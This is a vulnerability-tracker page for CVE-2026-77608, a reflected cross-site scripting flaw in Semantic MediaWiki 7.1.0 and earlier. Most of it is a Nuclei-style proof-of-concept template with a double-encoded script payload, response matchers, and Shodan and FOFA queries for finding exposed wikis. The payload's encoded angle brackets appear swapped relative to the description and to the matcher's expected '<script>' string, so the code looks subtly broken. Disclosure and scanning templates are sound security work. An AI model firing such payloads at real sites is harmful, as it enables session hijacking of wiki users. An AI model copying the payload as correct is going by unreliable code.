CVE-2026-77608: Semantic MediaWiki <= 7.1.0 - Reflected Cross-Site Scripting

2026-11-29 PoC Public

Description

Semantic MediaWiki 7.1.0 and earlier contains a reflected cross-site scripting vulnerability in Special:SearchByProperty. Validation errors for the property and value parameters are written into the page without HTML escaping. The SMW message encoder strips tags and then converts literal %3C and %3E sequences back into angle brackets, so an unauthenticated attacker can inject arbitrary HTML and script.

Details

CVE
CVE-2026-77608 · CVE.org
Severity
中危
Published
PoC
Public

PoC

id: CVE-2026-77608

info:
  name: Semantic MediaWiki <= 7.1.0 - Reflected Cross-Site Scripting
  author: s4e-io
  severity: medium
  description: |
    Semantic MediaWiki 7.1.0 and earlier contains a reflected cross-site scripting vulnerability in Special:SearchByProperty. Validation errors for the property and value parameters are written into the page without HTML escaping. The SMW message encoder strips tags and then converts literal %3C and %3E sequences back into angle brackets, so an unauthenticated attacker can inject arbitrary HTML and script.
  impact: |
    Attackers can execute arbitrary JavaScript in the browser of a user who opens a crafted link, in the context of the wiki origin, and act with that user's session.
  remediation: |
    Update Semantic MediaWiki to 7.2.0 or later.
  reference:
    - https://github.com/SemanticMediaWiki/SemanticMediaWiki/security/advisories/GHSA-59xw-qv23-j3rc
    - https://github.com/SemanticMediaWiki/SemanticMediaWiki/commit/dac6eb79ee72d5a90ad36672be444060dc4e5790
    - https://github.com/SemanticMediaWiki/SemanticMediaWiki/releases/tag/7.2.0
    - https://nvd.nist.gov/vuln/detail/CVE-2026-77608
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2026-77608
    epss-score: 0.00511
    epss-percentile: 0.36849
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 2
    vendor: semantic-mediawiki
    product: semantic_mediawiki
    shodan-query: http.html:"Powered by Semantic MediaWiki"
    fofa-query: body="Powered by Semantic MediaWiki"
  tags: cve,cve2026,mediawiki,semantic-mediawiki,xss,reflected,unauth

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?title=Special:SearchByProperty&property=%253Escript%253Calert(document.domain)%253E/script%253C"
      - "{{BaseURL}}/w/index.php?title=Special:SearchByProperty&property=%253Escript%253Calert(document.domain)%253E/script%253C"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<script>alert(document.domain)</script>"
          - "smw-sp-searchbyproperty-description"
          - "smw-property-input"
        condition: and

      - type: word
        part: content_type
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 490a00463044022067189a284c3398e39e04659bf313790e805df2c4127304f6541d6ccca65bcd38022072bf377abe457f27ad303af83e0c8268b31629d99b91f1178dc229f27d96a296:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life